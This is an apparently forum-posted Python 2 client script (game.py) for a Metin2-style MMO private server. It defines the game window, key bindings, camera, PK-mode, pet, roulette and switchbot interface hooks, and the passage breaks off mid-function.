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Oaspete 104 20th May, 2019

                                           
                         import os
import app
import dbg
import grp
import item
import background
import chr
import chrmgr
import event
import player
import snd
import chat
import textTail
import snd
import net
import effect
import wndMgr
import fly
import systemSetting
import quest
import guild
import skill
import messenger
import localeInfo
import constInfo
import exchange
import ime
import time
import uiScriptLocale
#DnD Roulete
import uiTombola
#DnD Roulete
#Online Friend DnD
import uiPopup
#Online Friend DnD
import ui
import uiCommon
import uiPhaseCurtain
import uiMapNameShower
import uiAffectShower
import uiPlayerGauge
import uiCharacter
import uiTarget

# PRIVATE_SHOP_PRICE_LIST
import uiPrivateShopBuilder
# END_OF_PRIVATE_SHOP_PRICE_LIST

import mouseModule
import consoleModule
import localeInfo

import playerSettingModule
import interfaceModule

import musicInfo
import debugInfo
import uipetsystem
import uisupportsystem#shaman
import stringCommander
from _weakref import proxy
import uichestdrop

#SwitchBot DnD
from switchbot import Bot
#SwitchBot DnD

# SCREENSHOT_CWDSAVE
SCREENSHOT_CWDSAVE = False
SCREENSHOT_DIR = None

if localeInfo.IsEUROPE():
	SCREENSHOT_CWDSAVE = True

if localeInfo.IsCIBN10():
	SCREENSHOT_CWDSAVE = False
	SCREENSHOT_DIR = "YT2W"

cameraDistance = 1550.0
cameraPitch = 27.0
cameraRotation = 0.0
cameraHeight = 100.0

sistemtitle = 0
testAlignment = 0

class GameWindow(ui.ScriptWindow):
	def __init__(self, stream):
		ui.ScriptWindow.__init__(self, "GAME")
		self.SetWindowName("game")
		net.SetPhaseWindow(net.PHASE_WINDOW_GAME, self)
		player.SetGameWindow(self)
		self.lastupdate = 0
		self.lastupdatee = 0

		self.quickSlotPageIndex = 0
		self.lastPKModeSendedTime = 0
		self.pressNumber = None

		self.guildWarQuestionDialog = None
		self.interface = None
		self.targetBoard = None
		self.console = None
		self.mapNameShower = None
		self.affectShower = None
		self.playerGauge = None

		self.stream=stream
		self.interface = interfaceModule.Interface()
		self.interface.MakeInterface()
		self.interface.ShowDefaultWindows()

		self.curtain = uiPhaseCurtain.PhaseCurtain()
		self.curtain.speed = 0.03
		self.curtain.Hide()

		self.targetBoard = uiTarget.TargetBoard()
		self.targetBoard.SetWhisperEvent(ui.__mem_func__(self.interface.OpenWhisperDialog))
		self.targetBoard.Hide()
		self.petmain = uipetsystem.PetSystemMain()
		self.petmini = uipetsystem.PetSystemMini()

		self.console = consoleModule.ConsoleWindow()
		self.console.BindGameClass(self)
		self.console.SetConsoleSize(wndMgr.GetScreenWidth(), 200)
		self.console.Hide()
		self.supportpg = uisupportsystem.SupportMainGui()
		self.supportpg.Close()
		constInfo.wndTombola = uiTombola.TombolaWindow()

		self.mapNameShower = uiMapNameShower.MapNameShower()
		self.affectShower = uiAffectShower.AffectShower()
		if app.ENABLE_TITLE_SYSTEM:
			import title_system
			self.wndTitleSystem = title_system.Title_System()
		
		#import dailygift
		#self.wnddailygift = dailygift.DailyGift()

		self.playerGauge = uiPlayerGauge.PlayerGauge(self)
		self.playerGauge.Hide()
		
		#wj 2014.1.2. ESC키를 누를 시 우선적으로 DropQuestionDialog를 끄도록 만들었다. 하지만 처음에 itemDropQuestionDialog가 선언되어 있지 않아 ERROR가 발생하여 init에서 선언과 동시에 초기화 시킴.
		self.itemDropQuestionDialog = None

		self.__SetQuickSlotMode()

		self.__ServerCommand_Build()
		self.__ProcessPreservedServerCommand()
		#Switch Bot DnD#
		self.switchbot = Bot()
		self.switchbot.Hide()
		#Switch Bot DnD#
	def __del__(self):
		player.SetGameWindow(0)
		net.ClearPhaseWindow(net.PHASE_WINDOW_GAME, self)
		ui.ScriptWindow.__del__(self)

	def Open(self):
		app.SetFrameSkip(1)

		self.SetSize(wndMgr.GetScreenWidth(), wndMgr.GetScreenHeight())
		
		#self.daily_reward = ui.Button()
		#self.daily_reward.SetParent(self)
		#self.daily_reward.SetPosition(wndMgr.GetScreenWidth()-75,200)
		#self.daily_reward.SetUpVisual("icon/item/50244.tga")
		#self.daily_reward.SetOverVisual("icon/item/50244.tga")
		#self.daily_reward.SetDownVisual("icon/item/50244.tga")
		#self.daily_reward.SetToolTipText("Daily Rewards")
		#self.daily_reward.SetEvent(lambda : self.ManagerGiftSystem("Show|"))
		#self.daily_reward.Show()

		self.quickSlotPageIndex = 0
		self.PickingCharacterIndex = -1
		self.PickingItemIndex = -1
		self.consoleEnable = False
		self.isShowDebugInfo = False
		self.ShowNameFlag = False

		self.enableXMasBoom = False
		self.startTimeXMasBoom = 0.0
		self.indexXMasBoom = 0

		global cameraDistance, cameraPitch, cameraRotation, cameraHeight

		app.SetCamera(cameraDistance, cameraPitch, cameraRotation, cameraHeight)

		constInfo.SET_DEFAULT_CAMERA_MAX_DISTANCE()
		constInfo.SET_DEFAULT_CHRNAME_COLOR()
		constInfo.SET_DEFAULT_FOG_LEVEL()
		constInfo.SET_DEFAULT_CONVERT_EMPIRE_LANGUAGE_ENABLE()
		constInfo.SET_DEFAULT_USE_ITEM_WEAPON_TABLE_ATTACK_BONUS()
		constInfo.SET_DEFAULT_USE_SKILL_EFFECT_ENABLE()

		# TWO_HANDED_WEAPON_ATTACK_SPEED_UP
		constInfo.SET_TWO_HANDED_WEAPON_ATT_SPEED_DECREASE_VALUE()
		# END_OF_TWO_HANDED_WEAPON_ATTACK_SPEED_UP

		import event
		event.SetLeftTimeString(localeInfo.UI_LEFT_TIME)

		textTail.EnablePKTitle(constInfo.PVPMODE_ENABLE)

		if constInfo.PVPMODE_TEST_ENABLE:
			self.testPKMode = ui.TextLine()
			self.testPKMode.SetFontName(localeInfo.UI_DEF_FONT)
			self.testPKMode.SetPosition(0, 15)
			self.testPKMode.SetWindowHorizontalAlignCenter()
			self.testPKMode.SetHorizontalAlignCenter()
			self.testPKMode.SetFeather()
			self.testPKMode.SetOutline()
			self.testPKMode.Show()

			self.testAlignment = ui.TextLine()
			self.testAlignment.SetFontName(localeInfo.UI_DEF_FONT)
			self.testAlignment.SetPosition(0, 35)
			self.testAlignment.SetWindowHorizontalAlignCenter()
			self.testAlignment.SetHorizontalAlignCenter()
			self.testAlignment.SetFeather()
			self.testAlignment.SetOutline()
			self.testAlignment.Show()

		self.__BuildKeyDict()
		self.__BuildDebugInfo()

		# PRIVATE_SHOP_PRICE_LIST
		uiPrivateShopBuilder.Clear()
		# END_OF_PRIVATE_SHOP_PRICE_LIST

		# UNKNOWN_UPDATE
		exchange.InitTrading()
		# END_OF_UNKNOWN_UPDATE

		if debugInfo.IsDebugMode():
			self.ToggleDebugInfo()

		## Sound
		snd.SetMusicVolume(systemSetting.GetMusicVolume()*net.GetFieldMusicVolume())
		snd.SetSoundVolume(systemSetting.GetSoundVolume())

		netFieldMusicFileName = net.GetFieldMusicFileName()
		if netFieldMusicFileName:
			snd.FadeInMusic("BGM/" + netFieldMusicFileName)
		elif musicInfo.fieldMusic != "":						
			snd.FadeInMusic("BGM/" + musicInfo.fieldMusic)

		self.__SetQuickSlotMode()
		self.__SelectQuickPage(self.quickSlotPageIndex)

		self.SetFocus()
		self.Show()
		app.ShowCursor()

		net.SendEnterGamePacket()

		# START_GAME_ERROR_EXIT
		try:
			self.StartGame()
		except:
			import exception
			exception.Abort("GameWindow.Open")
		# END_OF_START_GAME_ERROR_EXIT
		
		# NPC가 큐브시스템으로 만들 수 있는 아이템들의 목록을 캐싱
		# ex) cubeInformation[20383] = [ {"rewordVNUM": 72723, "rewordCount": 1, "materialInfo": "101,1&102,2", "price": 999 }, ... ]
		self.cubeInformation = {}
		self.currentCubeNPC = 0
		if constInfo.LOGIN_MESAJE == 0:
			constInfo.LOGIN_MESAJE = 1
			self.OnRecvWhisper(chat.WHISPER_TYPE_CHAT, constInfo.BOT_NAME, "|cFF00C0FC|h [#Bot Stan] |r "+": "+"|cFFFFA500|h Salut! Eu sunt |r |cFF00C0FC|h #Bot Stan |r,|cFFFFA500|h adreseaza-mi o intrebare scurta pentru a afla mai multe detalii despre acest server ex: (GM?) ,ex: (6/7?) ignora parantezele! |r. ")
		
		if app.ENABLE_FOG_FIX:
			if systemSetting.IsFogMode():
				background.SetEnvironmentFog(True)
			else:
				background.SetEnvironmentFog(False)
		
	def Close(self):
		self.Hide()

		global cameraDistance, cameraPitch, cameraRotation, cameraHeight
		(cameraDistance, cameraPitch, cameraRotation, cameraHeight) = app.GetCamera()

		if musicInfo.fieldMusic != "":
			snd.FadeOutMusic("BGM/"+ musicInfo.fieldMusic)

		self.onPressKeyDict = None
		self.onClickKeyDict = None

		chat.Close()
		snd.StopAllSound()
		grp.InitScreenEffect()
		chr.Destroy()
		textTail.Clear()
		quest.Clear()
		background.Destroy()
		guild.Destroy()
		constInfo.wndTombola.Close()
		messenger.Destroy()
		skill.ClearSkillData()
		wndMgr.Unlock()
		mouseModule.mouseController.DeattachObject()
		if self.guildWarQuestionDialog:
			self.guildWarQuestionDialog.Close()

		self.guildNameBoard = None
		self.partyRequestQuestionDialog = None
		self.partyInviteQuestionDialog = None
		self.guildInviteQuestionDialog = None
		self.guildWarQuestionDialog = None
		self.messengerAddFriendQuestion = None

		# UNKNOWN_UPDATE
		self.itemDropQuestionDialog = None
		# END_OF_UNKNOWN_UPDATE

		# QUEST_CONFIRM
		self.confirmDialog = None
		# END_OF_QUEST_CONFIRM

		self.PrintCoord = None
		self.FrameRate = None
		self.Pitch = None
		self.Splat = None
		self.TextureNum = None
		self.ObjectNum = None
		self.ViewDistance = None
		self.PrintMousePos = None

		self.ClearDictionary()
		self.supportpg.Close()
		self.petmain.Close()
		self.petmini.Close()

		self.playerGauge = None
		self.mapNameShower = None
		self.affectShower = None

		if self.console:
			self.console.BindGameClass(0)
			self.console.Close()
			self.console=None
		
		if self.targetBoard:
			self.targetBoard.Destroy()
			self.targetBoard = None
		
		if app.ENABLE_TITLE_SYSTEM:			
			self.wndTitleSystem.Close()
	
		if self.interface:
			self.interface.HideAllWindows()
			self.interface.Close()
			self.interface=None

		player.ClearSkillDict()
		player.ResetCameraRotation()

		self.KillFocus()
		app.HideCursor()

		print "---------------------------------------------------------------------------- CLOSE GAME WINDOW"

	def __BuildKeyDict(self):
		onPressKeyDict = {}

		##PressKey 는 누르고 있는 동안 계속 적용되는 키이다.
		
		## 숫자 단축키 퀵슬롯에 이용된다.(이후 숫자들도 퀵 슬롯용 예약)
		## F12 는 클라 디버그용 키이므로 쓰지 않는 게 좋다.
		onPressKeyDict[app.DIK_1]	= lambda : self.__PressNumKey(1)
		onPressKeyDict[app.DIK_2]	= lambda : self.__PressNumKey(2)
		onPressKeyDict[app.DIK_3]	= lambda : self.__PressNumKey(3)
		onPressKeyDict[app.DIK_4]	= lambda : self.__PressNumKey(4)
		onPressKeyDict[app.DIK_5]	= lambda : self.__PressNumKey(5)
		onPressKeyDict[app.DIK_6]	= lambda : self.__PressNumKey(6)
		onPressKeyDict[app.DIK_7]	= lambda : self.__PressNumKey(7)
		onPressKeyDict[app.DIK_8]	= lambda : self.__PressNumKey(8)
		onPressKeyDict[app.DIK_9]	= lambda : self.__PressNumKey(9)
		onPressKeyDict[app.DIK_F1]	= lambda : self.__PressQuickSlot(4)
		onPressKeyDict[app.DIK_F2]	= lambda : self.__PressQuickSlot(5)
		onPressKeyDict[app.DIK_F3]	= lambda : self.__PressQuickSlot(6)
		onPressKeyDict[app.DIK_F4]	= lambda : self.__PressQuickSlot(7)
		#Switch Bot DnD#
		onPressKeyDict[app.DIK_F5]	= lambda : self.__toggleSwitchbot()
		#Switch Bot DnD#
		onPressKeyDict[app.DIK_LALT]		= lambda : self.ShowName()
		onPressKeyDict[app.DIK_LCONTROL]	= lambda : self.ShowMouseImage()
		onPressKeyDict[app.DIK_SYSRQ]		= lambda : self.SaveScreen()
		onPressKeyDict[app.DIK_SPACE]		= lambda : self.StartAttack()

		#캐릭터 이동키
		onPressKeyDict[app.DIK_UP]			= lambda : self.MoveUp()
		onPressKeyDict[app.DIK_DOWN]		= lambda : self.MoveDown()
		onPressKeyDict[app.DIK_LEFT]		= lambda : self.MoveLeft()
		onPressKeyDict[app.DIK_RIGHT]		= lambda : self.MoveRight()
		onPressKeyDict[app.DIK_W]			= lambda : self.MoveUp()
		onPressKeyDict[app.DIK_S]			= lambda : self.MoveDown()
		onPressKeyDict[app.DIK_A]			= lambda : self.MoveLeft()
		onPressKeyDict[app.DIK_D]			= lambda : self.MoveRight()

		onPressKeyDict[app.DIK_E]			= lambda: app.RotateCamera(app.CAMERA_TO_POSITIVE)
		onPressKeyDict[app.DIK_R]			= lambda: app.ZoomCamera(app.CAMERA_TO_NEGATIVE)
		#onPressKeyDict[app.DIK_F]			= lambda: app.ZoomCamera(app.CAMERA_TO_POSITIVE)
		onPressKeyDict[app.DIK_T]			= lambda: app.PitchCamera(app.CAMERA_TO_NEGATIVE)
		onPressKeyDict[app.DIK_G]			= self.__PressGKey
		onPressKeyDict[app.DIK_Q]			= self.__PressQKey

		onPressKeyDict[app.DIK_NUMPAD9]		= lambda: app.MovieResetCamera()
		onPressKeyDict[app.DIK_NUMPAD4]		= lambda: app.MovieRotateCamera(app.CAMERA_TO_NEGATIVE)
		onPressKeyDict[app.DIK_NUMPAD6]		= lambda: app.MovieRotateCamera(app.CAMERA_TO_POSITIVE)
		onPressKeyDict[app.DIK_PGUP]		= lambda: app.MovieZoomCamera(app.CAMERA_TO_NEGATIVE)
		onPressKeyDict[app.DIK_PGDN]		= lambda: app.MovieZoomCamera(app.CAMERA_TO_POSITIVE)
		onPressKeyDict[app.DIK_NUMPAD8]		= lambda: app.MoviePitchCamera(app.CAMERA_TO_NEGATIVE)
		onPressKeyDict[app.DIK_NUMPAD2]		= lambda: app.MoviePitchCamera(app.CAMERA_TO_POSITIVE)
		onPressKeyDict[app.DIK_GRAVE]		= lambda : self.PickUpItem()
		onPressKeyDict[app.DIK_Z]			= lambda : self.PickUpItem()
		onPressKeyDict[app.DIK_C]			= lambda state = "STATUS": self.interface.ToggleCharacterWindow(state)
		onPressKeyDict[app.DIK_V]			= lambda state = "SKILL": self.interface.ToggleCharacterWindow(state)
		#onPressKeyDict[app.DIK_B]			= lambda state = "EMOTICON": self.interface.ToggleCharacterWindow(state)
		onPressKeyDict[app.DIK_N]			= lambda state = "QUEST": self.interface.ToggleCharacterWindow(state)
		onPressKeyDict[app.DIK_I]			= lambda : self.interface.ToggleInventoryWindow()
		onPressKeyDict[app.DIK_M]			= lambda : self.interface.PressMKey()
		#onPressKeyDict[app.DIK_H]			= lambda : self.interface.OpenHelpWindow()
		onPressKeyDict[app.DIK_ADD]			= lambda : self.interface.MiniMapScaleUp()
		onPressKeyDict[app.DIK_SUBTRACT]	= lambda : self.interface.MiniMapScaleDown()
		onPressKeyDict[app.DIK_L]			= lambda : self.interface.ToggleChatLogWindow()
		onPressKeyDict[app.DIK_COMMA]		= lambda : self.ShowConsole()		# "`" key
		onPressKeyDict[app.DIK_LSHIFT]		= lambda : self.__SetQuickPageMode()

		onPressKeyDict[app.DIK_J]			= lambda : self.__PressJKey()
		onPressKeyDict[app.DIK_H]			= lambda : self.__PressHKey()
		onPressKeyDict[app.DIK_B]			= lambda : self.__PressBKey()
		onPressKeyDict[app.DIK_F]			= lambda : self.__PressFKey()

		# CUBE_TEST
		#onPressKeyDict[app.DIK_K]			= lambda : self.interface.OpenCubeWindow()
		# CUBE_TEST_END

		self.onPressKeyDict = onPressKeyDict

		onClickKeyDict = {}
		onClickKeyDict[app.DIK_UP] = lambda : self.StopUp()
		onClickKeyDict[app.DIK_DOWN] = lambda : self.StopDown()
		onClickKeyDict[app.DIK_LEFT] = lambda : self.StopLeft()
		onClickKeyDict[app.DIK_RIGHT] = lambda : self.StopRight()
		onClickKeyDict[app.DIK_SPACE] = lambda : self.EndAttack()

		onClickKeyDict[app.DIK_W] = lambda : self.StopUp()
		onClickKeyDict[app.DIK_S] = lambda : self.StopDown()
		onClickKeyDict[app.DIK_A] = lambda : self.StopLeft()
		onClickKeyDict[app.DIK_D] = lambda : self.StopRight()
		onClickKeyDict[app.DIK_Q] = lambda: app.RotateCamera(app.CAMERA_STOP)
		onClickKeyDict[app.DIK_E] = lambda: app.RotateCamera(app.CAMERA_STOP)
		onClickKeyDict[app.DIK_R] = lambda: app.ZoomCamera(app.CAMERA_STOP)
		onClickKeyDict[app.DIK_F] = lambda: app.ZoomCamera(app.CAMERA_STOP)
		onClickKeyDict[app.DIK_T] = lambda: app.PitchCamera(app.CAMERA_STOP)
		onClickKeyDict[app.DIK_G] = lambda: self.__ReleaseGKey()
		onClickKeyDict[app.DIK_NUMPAD4] = lambda: app.MovieRotateCamera(app.CAMERA_STOP)
		onClickKeyDict[app.DIK_NUMPAD6] = lambda: app.MovieRotateCamera(app.CAMERA_STOP)
		onClickKeyDict[app.DIK_PGUP] = lambda: app.MovieZoomCamera(app.CAMERA_STOP)
		onClickKeyDict[app.DIK_PGDN] = lambda: app.MovieZoomCamera(app.CAMERA_STOP)
		onClickKeyDict[app.DIK_NUMPAD8] = lambda: app.MoviePitchCamera(app.CAMERA_STOP)
		onClickKeyDict[app.DIK_NUMPAD2] = lambda: app.MoviePitchCamera(app.CAMERA_STOP)
		onClickKeyDict[app.DIK_LALT] = lambda: self.HideName()
		onClickKeyDict[app.DIK_LCONTROL] = lambda: self.HideMouseImage()
		onClickKeyDict[app.DIK_LSHIFT] = lambda: self.__SetQuickSlotMode()
		onClickKeyDict[app.DIK_X] = lambda: self.OpenSupportGui()
		onClickKeyDict[app.DIK_P] = lambda: self.OpenPetMainGui()

		#if constInfo.PVPMODE_ACCELKEY_ENABLE:
		#	onClickKeyDict[app.DIK_B] = lambda: self.ChangePKMode()

		self.onClickKeyDict=onClickKeyDict

	def __PressNumKey(self,num):
		if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):

			if num >= 1 and num <= 9:
				if(chrmgr.IsPossibleEmoticon(-1)):
					chrmgr.SetEmoticon(-1,int(num)-1)
					net.SendEmoticon(int(num)-1)
		else:
			if num >= 1 and num <= 4:
				self.pressNumber(num-1)

	def __ClickBKey(self):
		if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
			return
		else:
			if constInfo.PVPMODE_ACCELKEY_ENABLE:
				self.ChangePKMode()


	def	__PressJKey(self):
		if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
			if player.IsMountingHorse():
				net.SendChatPacket("/unmount")
			else:
				#net.SendChatPacket("/user_horse_ride")
				if not uiPrivateShopBuilder.IsBuildingPrivateShop():
					for i in xrange(player.INVENTORY_PAGE_SIZE):
						if player.GetItemIndex(i) in (71114, 71116, 71118, 71120):
							net.SendItemUsePacket(i)
							break
	def	__PressHKey(self):
		if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
			net.SendChatPacket("/user_horse_ride")
		else:
			self.interface.OpenHelpWindow()

	def	__PressBKey(self):
		if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
			net.SendChatPacket("/user_horse_back")
		else:
			state = "EMOTICON"
			self.interface.ToggleCharacterWindow(state)

	def	__PressFKey(self):
		if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
			net.SendChatPacket("/user_horse_feed")	
		else:
			app.ZoomCamera(app.CAMERA_TO_POSITIVE)

	def __PressGKey(self):
		if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
			net.SendChatPacket("/ride")	
		else:
			if self.ShowNameFlag:
				self.interface.ToggleGuildWindow()
			else:
				app.PitchCamera(app.CAMERA_TO_POSITIVE)

	def	__ReleaseGKey(self):
		app.PitchCamera(app.CAMERA_STOP)
	if app.ENABLE_TITLE_SYSTEM:	
		def OpenTitleSystem(self):		
			self.wndTitleSystem.OpenWindow()

	def __PressQKey(self):
		if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
			if 0==interfaceModule.IsQBHide:
				interfaceModule.IsQBHide = 1
				self.interface.HideAllQuestButton()
			else:
				interfaceModule.IsQBHide = 0
				self.interface.ShowAllQuestButton()
		else:
			app.RotateCamera(app.CAMERA_TO_NEGATIVE)
			
	def __SetQuickSlotMode(self):
		self.pressNumber=ui.__mem_func__(self.__PressQuickSlot)

	def __SetQuickPageMode(self):
		self.pressNumber=ui.__mem_func__(self.__SelectQuickPage)

	def __PressQuickSlot(self, localSlotIndex):
		if localeInfo.IsARABIC():
			if 0 <= localSlotIndex and localSlotIndex < 4:
				player.RequestUseLocalQuickSlot(3-localSlotIndex)
			else:
				player.RequestUseLocalQuickSlot(11-localSlotIndex)
		else:
			player.RequestUseLocalQuickSlot(localSlotIndex)

	def __SelectQuickPage(self, pageIndex):
		self.quickSlotPageIndex = pageIndex
		player.SetQuickPage(pageIndex)

	def ToggleDebugInfo(self):
		self.isShowDebugInfo = not self.isShowDebugInfo

		if self.isShowDebugInfo:
			self.PrintCoord.Show()
			self.FrameRate.Show()
			self.Pitch.Show()
			self.Splat.Show()
			self.TextureNum.Show()
			self.ObjectNum.Show()
			self.ViewDistance.Show()
			self.PrintMousePos.Show()
		else:
			self.PrintCoord.Hide()
			self.FrameRate.Hide()
			self.Pitch.Hide()
			self.Splat.Hide()
			self.TextureNum.Hide()
			self.ObjectNum.Hide()
			self.ViewDistance.Hide()
			self.PrintMousePos.Hide()

	def __BuildDebugInfo(self):
		## Character Position Coordinate
		self.PrintCoord = ui.TextLine()
		self.PrintCoord.SetFontName(localeInfo.UI_DEF_FONT)
		self.PrintCoord.SetPosition(wndMgr.GetScreenWidth() - 270, 0)
		
		## Frame Rate
		self.FrameRate = ui.TextLine()
		self.FrameRate.SetFontName(localeInfo.UI_DEF_FONT)
		self.FrameRate.SetPosition(wndMgr.GetScreenWidth() - 270, 20)

		## Camera Pitch
		self.Pitch = ui.TextLine()
		self.Pitch.SetFontName(localeInfo.UI_DEF_FONT)
		self.Pitch.SetPosition(wndMgr.GetScreenWidth() - 270, 40)

		## Splat
		self.Splat = ui.TextLine()
		self.Splat.SetFontName(localeInfo.UI_DEF_FONT)
		self.Splat.SetPosition(wndMgr.GetScreenWidth() - 270, 60)
		
		##
		self.PrintMousePos = ui.TextLine()
		self.PrintMousePos.SetFontName(localeInfo.UI_DEF_FONT)
		self.PrintMousePos.SetPosition(wndMgr.GetScreenWidth() - 270, 80)

		# TextureNum
		self.TextureNum = ui.TextLine()
		self.TextureNum.SetFontName(localeInfo.UI_DEF_FONT)
		self.TextureNum.SetPosition(wndMgr.GetScreenWidth() - 270, 100)

		# 오브젝트 그리는 개수
		self.ObjectNum = ui.TextLine()
		self.ObjectNum.SetFontName(localeInfo.UI_DEF_FONT)
		self.ObjectNum.SetPosition(wndMgr.GetScreenWidth() - 270, 120)

		# 시야거리
		self.ViewDistance = ui.TextLine()
		self.ViewDistance.SetFontName(localeInfo.UI_DEF_FONT)
		self.ViewDistance.SetPosition(0, 0)

	def __NotifyError(self, msg):
		chat.AppendChat(chat.CHAT_TYPE_INFO, msg)

	def ChangePKMode(self):

		if not app.IsPressed(app.DIK_LCONTROL):
			return

		if player.GetStatus(player.LEVEL)<constInfo.PVPMODE_PROTECTED_LEVEL:
			self.__NotifyError(localeInfo.OPTION_PVPMODE_PROTECT % (constInfo.PVPMODE_PROTECTED_LEVEL))
			return

		curTime = app.GetTime()
		if curTime - self.lastPKModeSendedTime < constInfo.PVPMODE_ACCELKEY_DELAY:
			return

		self.lastPKModeSendedTime = curTime

		curPKMode = player.GetPKMode()
		nextPKMode = curPKMode + 1
		if nextPKMode == player.PK_MODE_PROTECT:
			if 0 == player.GetGuildID():
				chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.OPTION_PVPMODE_CANNOT_SET_GUILD_MODE)
				nextPKMode = 0
			else:
				nextPKMode = player.PK_MODE_GUILD

		elif nextPKMode == player.PK_MODE_MAX_NUM:
			nextPKMode = 0

		net.SendChatPacket("/PKMode " + str(nextPKMode))
		print "/PKMode " + str(nextPKMode)

	def OnChangePKMode(self):
		self.interface.OnChangePKMode()
		try:
			self.__NotifyError(localeInfo.OPTION_PVPMODE_MESSAGE_DICT[player.GetPKMode()])
		except KeyError:
			print "UNKNOWN PVPMode[%d]" % (player.GetPKMode())

		if constInfo.PVPMODE_TEST_ENABLE:
			curPKMode = player.GetPKMode()
			alignment, grade = chr.testGetPKData()
			self.pkModeNameDict = { 0 : "PEACE", 1 : "REVENGE", 2 : "FREE", 3 : "PROTECT", }
			self.testPKMode.SetText("Current PK Mode : " + self.pkModeNameDict.get(curPKMode, "UNKNOWN"))
			self.testAlignment.SetText("Current Alignment : " + str(alignment) + " (" + localeInfo.TITLE_NAME_LIST[grade] + ")")

	###############################################################################################
	###############################################################################################
	## Game Callback Functions

	# Start
	def StartGame(self):
		self.RefreshInventory()
		self.RefreshEquipment()
		self.RefreshCharacter()
		self.RefreshSkill()
		if app.ENABLE_ENVIRONMENT_EFFECT_OPTION:
			systemSetting.SetNightModeOption(systemSetting.GetNightModeOption())
			systemSetting.SetSnowModeOption(systemSetting.GetSnowModeOption())
			systemSetting.SetSnowTextureModeOption(systemSetting.GetSnowTextureModeOption())

	if app.ENABLE_ENVIRONMENT_EFFECT_OPTION:
		def BINARY_Recv_Night_Mode(self, mode):
			self.__DayMode_Update(mode)

	# Refresh
	def CheckGameButton(self):
		if self.interface:
			self.interface.CheckGameButton()

	def RefreshAlignment(self):
		self.interface.RefreshAlignment()

	def RefreshStatus(self):
		self.CheckGameButton()

		if self.interface:
			self.interface.RefreshStatus()

		if self.playerGauge:
			self.playerGauge.RefreshGauge()

	def RefreshStamina(self):
		self.interface.RefreshStamina()

	def RefreshSkill(self):
		self.CheckGameButton()
		if self.interface:
			self.interface.RefreshSkill()

	def RefreshQuest(self):
		self.interface.RefreshQuest()

	def RefreshMessenger(self):
		self.interface.RefreshMessenger()

	def RefreshGuildInfoPage(self):
		self.interface.RefreshGuildInfoPage()

	def RefreshGuildBoardPage(self):
		self.interface.RefreshGuildBoardPage()

	def RefreshGuildMemberPage(self):
		self.interface.RefreshGuildMemberPage()

	def RefreshGuildMemberPageGradeComboBox(self):
		self.interface.RefreshGuildMemberPageGradeComboBox()

	def RefreshGuildSkillPage(self):
		self.interface.RefreshGuildSkillPage()

	def RefreshGuildGradePage(self):
		self.interface.RefreshGuildGradePage()

	def RefreshMobile(self):
		if self.interface:
			self.interface.RefreshMobile()

	def OnMobileAuthority(self):
		self.interface.OnMobileAuthority()

	def OnBlockMode(self, mode):
		self.interface.OnBlockMode(mode)

#Reload_Q_Fix
	def HideAllQuestWindow(self):
		self.interface.HideAllQuestWindow()
#Reload_Q_Fix

	def OpenQuestWindow(self, skin, idx):
		if constInfo.INPUT_IGNORE == 1:
			return
		else:
			self.interface.OpenQuestWindow(skin, idx)
 

	def AskGuildName(self):

		guildNameBoard = uiCommon.InputDialog()
		guildNameBoard.SetTitle(localeInfo.GUILD_NAME)
		guildNameBoard.SetAcceptEvent(ui.__mem_func__(self.ConfirmGuildName))
		guildNameBoard.SetCancelEvent(ui.__mem_func__(self.CancelGuildName))
		guildNameBoard.Open()

		self.guildNameBoard = guildNameBoard

	def ConfirmGuildName(self):
		guildName = self.guildNameBoard.GetText()
		if not guildName:
			return

		if net.IsInsultIn(guildName):
			self.PopupMessage(localeInfo.GUILD_CREATE_ERROR_INSULT_NAME)
			return

		net.SendAnswerMakeGuildPacket(guildName)
		self.guildNameBoard.Close()
		self.guildNameBoard = None
		return True

	def CancelGuildName(self):
		self.guildNameBoard.Close()
		self.guildNameBoard = None
		return True

	## Refine
	def PopupMessage(self, msg):
		self.stream.popupWindow.Close()
		self.stream.popupWindow.Open(msg, 0, localeInfo.UI_OK)

	def OpenRefineDialog(self, targetItemPos, nextGradeItemVnum, cost, prob, type=0):
		self.interface.OpenRefineDialog(targetItemPos, nextGradeItemVnum, cost, prob, type)

	def AppendMaterialToRefineDialog(self, vnum, count):
		self.interface.AppendMaterialToRefineDialog(vnum, count)

	def RunUseSkillEvent(self, slotIndex, coolTime):
		self.interface.OnUseSkill(slotIndex, coolTime)

	def ClearAffects(self):
		self.affectShower.ClearAffects()

	def SetAffect(self, affect):
		self.affectShower.SetAffect(affect)

	def ResetAffect(self, affect):
		self.affectShower.ResetAffect(affect)
	# Solved
	def BINARY_NEW_AddAffect(self, type, pointIdx, value, duration):
		self.affectShower.BINARY_NEW_AddAffect(type, pointIdx, value, duration)

	def BINARY_NEW_RemoveAffect(self, type, pointIdx):
		self.affectShower.BINARY_NEW_RemoveAffect(type, pointIdx)
	# Solved

	if app.ENABLE_MAINTENANCE_SYSTEM:
		def BINARY_Maintenance(self, sec, dur):
			sec = int(sec)
			dur = int(dur)
			self.interface.StartMaintenance(sec,dur)

	def BINARY_NEW_RemoveAffect(self, type, pointIdx):
		self.affectShower.BINARY_NEW_RemoveAffect(type, pointIdx)
		if chr.NEW_AFFECT_DRAGON_SOUL_DECK1 == type or chr.NEW_AFFECT_DRAGON_SOUL_DECK2 == type:
			self.interface.DragonSoulDeactivate()
	
 
 
	# END_OF_UNKNOWN_UPDATE

	def ActivateSkillSlot(self, slotIndex):
		if self.interface:
			self.interface.OnActivateSkill(slotIndex)

	def DeactivateSkillSlot(self, slotIndex):
		if self.interface:
			self.interface.OnDeactivateSkill(slotIndex)

	def RefreshEquipment(self):
		if self.interface:
			self.interface.RefreshInventory()

	def RefreshInventory(self):
		if self.interface:
			self.interface.RefreshInventory()

	def RefreshCharacter(self):
		if self.interface:
			self.interface.RefreshCharacter()

	def OnGameOver(self):
		self.CloseTargetBoard()
		self.OpenRestartDialog()

	def OpenRestartDialog(self):
		self.interface.OpenRestartDialog()

	def ChangeCurrentSkill(self, skillSlotNumber):
